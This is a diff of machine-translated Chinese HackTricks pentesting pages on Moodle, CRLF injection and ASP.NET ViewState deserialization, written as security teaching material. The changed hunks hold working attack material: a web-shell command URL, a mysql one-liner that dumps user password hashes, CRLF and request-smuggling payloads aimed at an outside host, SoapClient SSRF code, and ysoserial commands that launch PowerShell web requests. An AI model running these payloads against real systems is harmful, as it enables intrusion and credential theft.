* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**telegram群组**](https://t.me/peass) 或者 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||||
|
|
||||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的目标- **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的目标- **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||||
|
|
||||||
|
@ -93,14 +93,15 @@ CMSMap是一款用于扫描和识别Moodle网站的工具。Moodle是一种广
|
||||||
|
|
||||||
使用CMSMap,您可以执行以下操作:
|
使用CMSMap,您可以执行以下操作:
|
||||||
|
|
||||||
- **信息收集**:CMSMap可以收集有关目标Moodle网站的信息,包括版本号、插件和主题。
|
- **扫描网站**:CMSMap可以扫描目标网站,识别是否使用了Moodle CMS。
|
||||||
- **漏洞扫描**:CMSMap可以扫描Moodle网站以查找已知的漏洞和安全问题。
|
- **识别版本**:CMSMap可以确定目标Moodle网站的版本号,这对于查找已知漏洞和弱点非常有用。
|
||||||
- **弱点利用**:CMSMap可以利用已知的漏洞和弱点来获取对Moodle网站的未授权访问或执行其他恶意操作。
|
- **枚举用户**:CMSMap可以枚举Moodle网站上的用户,包括管理员和其他用户。
|
||||||
- **密码破解**:CMSMap可以尝试使用常见的用户名和密码组合对Moodle网站进行暴力破解。
|
- **发现插件**:CMSMap可以发现目标Moodle网站上安装的插件和扩展。
|
||||||
|
- **检查漏洞**:CMSMap可以检查目标Moodle网站是否存在已知的漏洞和安全问题。
|
||||||
|
|
||||||
要使用CMSMap,您需要提供目标Moodle网站的URL。然后,CMSMap将自动执行扫描和识别操作,并生成有关目标网站的详细报告。
|
要使用CMSMap,您需要提供目标Moodle网站的URL。然后,CMSMap将自动执行扫描并提供有关网站的详细信息。这些信息可以帮助您评估目标网站的安全性,并采取必要的措施来保护它免受潜在的攻击。
|
||||||
|
|
||||||
请注意,使用CMSMap进行渗透测试或未经授权的活动可能是非法的。请始终遵守适用的法律和道德准则,并仅在获得合法授权的情况下使用此工具。
|
请注意,使用CMSMap进行渗透测试需要获得合法的授权,并遵守适用的法律和道德准则。
|
||||||
```bash
|
```bash
|
||||||
pip3 install git+https://github.com/dionach/CMSmap.git
|
pip3 install git+https://github.com/dionach/CMSmap.git
|
||||||
cmsmap http://moodle.example.com/<moodle_path>
|
cmsmap http://moodle.example.com/<moodle_path>
|
||||||
|
@ -133,29 +134,13 @@ http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
|
||||||
|
|
||||||
To find database credentials in a Moodle application, you can start by analyzing the POST requests made by the application. These requests often contain sensitive information, such as database credentials, that are sent from the client to the server.
|
To find database credentials in a Moodle application, you can start by analyzing the POST requests made by the application. These requests often contain sensitive information, such as database credentials, that are sent from the client to the server.
|
||||||
|
|
||||||
为了在 Moodle 应用程序中查找数据库凭据,您可以开始分析应用程序发送的 POST 请求。这些请求通常包含敏感信息,例如从客户端发送到服务器的数据库凭据。
|
To begin, intercept the POST requests using a proxy tool like Burp Suite. Once you have intercepted a POST request, analyze its parameters and look for any fields that may contain database credentials. Common parameter names to look for include "db_user", "db_password", "db_username", and "db_passwd".
|
||||||
|
|
||||||
To do this, you can use a web proxy tool like Burp Suite to intercept and analyze the POST requests. Follow these steps:
|
If you find any parameters that appear to contain database credentials, note down their values. These values may be encrypted or encoded, so you may need to decrypt or decode them to obtain the actual credentials.
|
||||||
|
|
||||||
为此,您可以使用像 Burp Suite 这样的网络代理工具来拦截和分析 POST 请求。按照以下步骤进行操作:
|
Once you have obtained the database credentials, you can use them to gain unauthorized access to the database. This can be done by connecting to the database using a database management tool or by using the credentials in other parts of the application that require database access.
|
||||||
|
|
||||||
1. Configure your web browser to use Burp Suite as a proxy.
|
Remember to always obtain proper authorization before attempting any penetration testing activities. Unauthorized access to databases or other systems is illegal and unethical.
|
||||||
2. Start Burp Suite and navigate to the Moodle application.
|
|
||||||
3. Perform actions in the application that trigger POST requests, such as logging in or submitting a form.
|
|
||||||
4. In Burp Suite, go to the "Proxy" tab and look for the intercepted POST requests.
|
|
||||||
5. Analyze the intercepted requests and look for parameters that may contain database credentials, such as "username" and "password".
|
|
||||||
6. Extract the values of these parameters and test them to see if they can be used to access the database.
|
|
||||||
|
|
||||||
1. 配置您的网络浏览器以将 Burp Suite 设置为代理。
|
|
||||||
2. 启动 Burp Suite 并导航到 Moodle 应用程序。
|
|
||||||
3. 在应用程序中执行触发 POST 请求的操作,例如登录或提交表单。
|
|
||||||
4. 在 Burp Suite 中,转到“Proxy”选项卡并查找拦截的 POST 请求。
|
|
||||||
5. 分析拦截的请求,并查找可能包含数据库凭据的参数,例如“username”和“password”。
|
|
||||||
6. 提取这些参数的值并进行测试,以查看它们是否可以用于访问数据库。
|
|
||||||
|
|
||||||
By analyzing the intercepted POST requests, you may be able to find the database credentials used by the Moodle application. This information can be valuable for further penetration testing and vulnerability assessment.
|
|
||||||
|
|
||||||
通过分析拦截的 POST 请求,您可能能够找到 Moodle 应用程序使用的数据库凭据。这些信息对于进一步的渗透测试和漏洞评估非常有价值。
|
|
||||||
```bash
|
```bash
|
||||||
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
|
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
|
||||||
```
|
```
|
||||||
|
@ -167,19 +152,19 @@ To dump credentials from a database, you can follow these steps:
|
||||||
|
|
||||||
2. Enumerate database users: Use techniques such as SQL injection or brute-forcing to identify the database users. This can be done by exploiting vulnerabilities in the web application or by using default or weak credentials.
|
2. Enumerate database users: Use techniques such as SQL injection or brute-forcing to identify the database users. This can be done by exploiting vulnerabilities in the web application or by using default or weak credentials.
|
||||||
|
|
||||||
3. Gain database access: Once you have identified the database users, attempt to gain access to the database. This can be done by using the obtained credentials or by exploiting vulnerabilities in the database itself.
|
3. Gain database access: Once you have identified a valid database user, attempt to gain access to the database. This can be done by leveraging SQL injection vulnerabilities or by using stolen or cracked credentials.
|
||||||
|
|
||||||
4. Dump the credentials: Once you have access to the database, you can use SQL queries or tools like mysqldump or pg_dump to extract the credentials from the database tables. Look for tables that store user information, such as usernames and passwords.
|
4. Dump the credentials: Once you have access to the database, you can extract the credentials stored within it. This can be done by executing SQL queries to retrieve the username and password hashes or by exporting the entire user table.
|
||||||
|
|
||||||
5. Analyze the dumped credentials: After extracting the credentials, analyze them to identify any weak or reused passwords. This information can be used for further exploitation or to improve the security of the web application.
|
5. Crack the password hashes: If the passwords are stored as hashes, you will need to crack them to obtain the plaintext passwords. This can be done using tools like John the Ripper or Hashcat, which use various techniques such as dictionary attacks or brute-forcing.
|
||||||
|
|
||||||
Remember to always obtain proper authorization before performing any penetration testing activities. Unauthorized access to databases is illegal and unethical.
|
Remember to always obtain proper authorization before performing any database penetration testing activities. Unauthorized access to databases is illegal and unethical.
|
||||||
```bash
|
```bash
|
||||||
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
|
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
|
||||||
```
|
```
|
||||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||||
|
|
||||||
如果你对**黑客职业**感兴趣并想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
如果你对**黑客职业**感兴趣并想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -187,10 +172,10 @@ Remember to always obtain proper authorization before performing any penetration
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -4,7 +4,7 @@
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 你在一家**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||||
|
@ -12,9 +12,9 @@
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||||
|
|
||||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -22,7 +22,7 @@
|
||||||
|
|
||||||
当浏览器向Web服务器发送请求时,Web服务器会回复一个包含HTTP响应头和实际网站内容(即响应体)的响应。HTTP头和HTML响应(网站内容)由特定的特殊字符组合分隔,即回车和换行符。简称为CRLF。
|
当浏览器向Web服务器发送请求时,Web服务器会回复一个包含HTTP响应头和实际网站内容(即响应体)的响应。HTTP头和HTML响应(网站内容)由特定的特殊字符组合分隔,即回车和换行符。简称为CRLF。
|
||||||
|
|
||||||
Web服务器使用CRLF来理解新的HTTP头开始和另一个HTTP头结束的位置。CRLF还可以告诉Web应用程序或用户文件或文本块中的新行开始。CRLF字符是标准的HTTP/1.1消息,因此任何类型的Web服务器都使用它,包括Apache、Microsoft IIS和其他所有服务器。\
|
Web服务器使用CRLF来理解新的HTTP头开始和另一个HTTP头结束的位置。CRLF还可以告诉Web应用程序或用户文件或文本块中的新行开始。CRLF字符是标准的HTTP/1.1消息,因此任何类型的Web服务器都会使用它,包括Apache、Microsoft IIS和其他所有服务器。\
|
||||||
来源:[https://www.netsparker.com/blog/web-security/crlf-http-header/#](https://www.netsparker.com/blog/web-security/crlf-http-header/)
|
来源:[https://www.netsparker.com/blog/web-security/crlf-http-header/#](https://www.netsparker.com/blog/web-security/crlf-http-header/)
|
||||||
|
|
||||||
### 什么是CRLF注入漏洞?
|
### 什么是CRLF注入漏洞?
|
||||||
|
@ -105,16 +105,16 @@ http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:te
|
||||||
|
|
||||||
#### 描述
|
#### 描述
|
||||||
|
|
||||||
通过利用CRLF注入,攻击者还可以插入HTTP头,这可能用于破坏安全机制,如浏览器的XSS过滤器或同源策略。这使得攻击者可以获取敏感信息,如CSRF令牌。他还可以设置Cookie,这可能被利用来将受害者登录到攻击者的帐户,或者利用其他无法利用的[跨站脚本(XSS)漏洞](https://www.netsparker.com/blog/web-security/cross-site-scripting-xss/)。
|
通过利用CRLF注入,攻击者还可以插入HTTP头,这可能用于破坏安全机制,如浏览器的XSS过滤器或同源策略。这使得攻击者可以获取敏感信息,如CSRF令牌。他还可以设置Cookie,这可能被利用来登录受害者的帐户,或者利用其他无法利用的[跨站脚本(XSS)漏洞](https://www.netsparker.com/blog/web-security/cross-site-scripting-xss/)。
|
||||||
|
|
||||||
#### 一个用于提取敏感数据的HTTP头注入示例
|
#### 一个用于提取敏感数据的HTTP头注入示例
|
||||||
|
|
||||||
如果攻击者能够注入激活CORS(跨域资源共享)的HTTP头,他可以使用JavaScript访问受同源策略(SOP)保护的资源,该策略防止不同源的站点相互访问。
|
如果攻击者能够注入激活CORS(跨域资源共享)的HTTP头,他可以使用JavaScript访问受同源策略(SOP)保护的资源,该策略防止不同源的站点相互访问。
|
||||||
|
|
||||||
### SSRF中的新HTTP请求
|
### 在SSRF中创建新的HTTP请求
|
||||||
|
|
||||||
利用CRLF注入,您可以**构造一个新的HTTP请求并注入**它。\
|
利用CRLF注入,您可以**构造一个新的HTTP请求并注入**它。\
|
||||||
一个很好的例子是使用PHP中的`SoapClient`反序列化工具。该类**容易受到CRLF**注入,可以在`user_agent`参数中插入新的头部和正文内容。然而,您甚至可以利用这个漏洞来**注入一个新的HTTP请求**:
|
一个很好的例子是使用PHP中的`SoapClient`反序列化工具。这个类在`user_agent`参数中**容易受到CRLF注入**的漏洞,允许**插入新的头部和正文内容**。然而,您甚至可以利用这个漏洞来**注入一个新的HTTP请求**:
|
||||||
```php
|
```php
|
||||||
$target = 'http://127.0.0.1:9090/test';
|
$target = 'http://127.0.0.1:9090/test';
|
||||||
$post_string = 'variable=post value';
|
$post_string = 'variable=post value';
|
||||||
|
@ -153,7 +153,7 @@ GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0
|
||||||
|
|
||||||
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
|
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
|
||||||
|
|
||||||
或者通过构造前缀与尾部垃圾组合,创建一个完整的第二个请求,以触发**响应队列污染**。
|
或者通过精心构造前缀与尾部垃圾组合,创建一个完整的第二个请求,以触发**响应队列污染**。
|
||||||
|
|
||||||
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
|
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
|
||||||
|
|
||||||
|
@ -224,7 +224,7 @@ CRLF注入的影响各不相同,还包括所有跨站脚本攻击的影响,
|
||||||
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
|
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
|
||||||
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
|
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
|
||||||
|
|
||||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||||
|
|
||||||
如果您对**黑客职业**感兴趣并想要攻破不可攻破的目标 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
如果您对**黑客职业**感兴趣并想要攻破不可攻破的目标 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||||
|
|
||||||
|
@ -235,9 +235,9 @@ CRLF注入的影响各不相同,还包括所有跨站脚本攻击的影响,
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -12,7 +12,7 @@
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||||
|
|
||||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的目标——我们正在招聘!(需要流利的波兰语书写和口语能力)。
|
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的目标——我们正在招聘!(需要流利的波兰语书写和口语能力)。
|
||||||
|
|
||||||
|
@ -25,7 +25,7 @@
|
||||||
|
|
||||||
* Base64
|
* Base64
|
||||||
* 可以使用EnableViewStateMac和ViewStateEncryptionMode属性设置为false来定义
|
* 可以使用EnableViewStateMac和ViewStateEncryptionMode属性设置为false来定义
|
||||||
* Base64 + MAC(消息认证码)已启用
|
* Base64 + MAC(消息认证码)启用
|
||||||
* 可以使用EnableViewStateMac属性设置为true来定义
|
* 可以使用EnableViewStateMac属性设置为true来定义
|
||||||
* Base64 + 加密
|
* Base64 + 加密
|
||||||
* 可以使用viewStateEncryptionMode属性设置为true来定义
|
* 可以使用viewStateEncryptionMode属性设置为true来定义
|
||||||
|
@ -124,13 +124,13 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
|
||||||
```
|
```
|
||||||
### 测试案例:3 – .Net < 4.5 和 EnableViewStateMac=true/false 以及 ViewStateEncryptionMode=true
|
### 测试案例:3 – .Net < 4.5 和 EnableViewStateMac=true/false 以及 ViewStateEncryptionMode=true
|
||||||
|
|
||||||
在这种情况下,Burp无法识别参数是否受到MAC保护,因为它无法识别这些值。因此,该值可能已加密,您将需要使用机器密钥来加密您的有效负载以利用此漏洞。
|
在这种情况下,Burp无法识别参数是否受到MAC保护,因为它无法识别这些值。因此,该值可能已加密,您将**需要使用Machine Key来加密您的有效载荷**以利用此漏洞。
|
||||||
|
|
||||||
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/3.0.png)
|
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/3.0.png)
|
||||||
|
|
||||||
**在这种情况下,**[**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **模块正在开发中...**
|
**在这种情况下,**[**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **模块正在开发中...**
|
||||||
|
|
||||||
在.NET 4.5之前,即使将`ViewStateEncryptionMode`设置为**Always**,ASP.NET也可以接受用户的未加密的`__VIEWSTATE`参数。ASP.NET只检查请求中是否存在`__VIEWSTATEENCRYPTED`参数。**如果删除此参数并发送未加密的有效负载,它仍将被处理。**
|
在.NET 4.5之前,即使将`ViewStateEncryptionMode`设置为**Always**,ASP.NET也可以**接受**用户的**未加密**的\_`__VIEWSTATE`\_参数。ASP.NET只检查请求中是否存在**`__VIEWSTATEENCRYPTED`**参数。**如果删除此参数并发送未加密的有效载荷,它仍将被处理。**
|
||||||
|
|
||||||
因此,如果已知Machinekey(例如通过目录遍历问题),可以使用**案例2**中使用的[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)命令来利用ViewState反序列化漏洞执行RCE。
|
因此,如果已知Machinekey(例如通过目录遍历问题),可以使用**案例2**中使用的[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)命令来利用ViewState反序列化漏洞执行RCE。
|
||||||
|
|
||||||
|
@ -190,7 +190,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In
|
||||||
```
|
```
|
||||||
### 成功利用的结果 <a href="#poc" id="poc"></a>
|
### 成功利用的结果 <a href="#poc" id="poc"></a>
|
||||||
|
|
||||||
对于所有的测试用例,如果 ViewState YSoSerial.Net 载荷**成功**起作用,服务器会响应“**500 内部服务器错误**”,响应内容为“**此页面的状态信息无效,可能已损坏**”,并且我们会得到如下图所示的 OOB 请求:
|
对于所有的测试用例,如果 ViewState YSoSerial.Net 载荷**成功**起作用,服务器会响应“**500 内部服务器错误**”,响应内容为“**此页面的状态信息无效,可能已损坏**”,我们会得到如下图所示的 OOB 请求:
|
||||||
|
|
||||||
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/5.0POC-of-Seccuessful-exploitation.png)
|
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/5.0POC-of-Seccuessful-exploitation.png)
|
||||||
|
|
||||||
|
@ -201,13 +201,13 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In
|
||||||
## 参考资料
|
## 参考资料
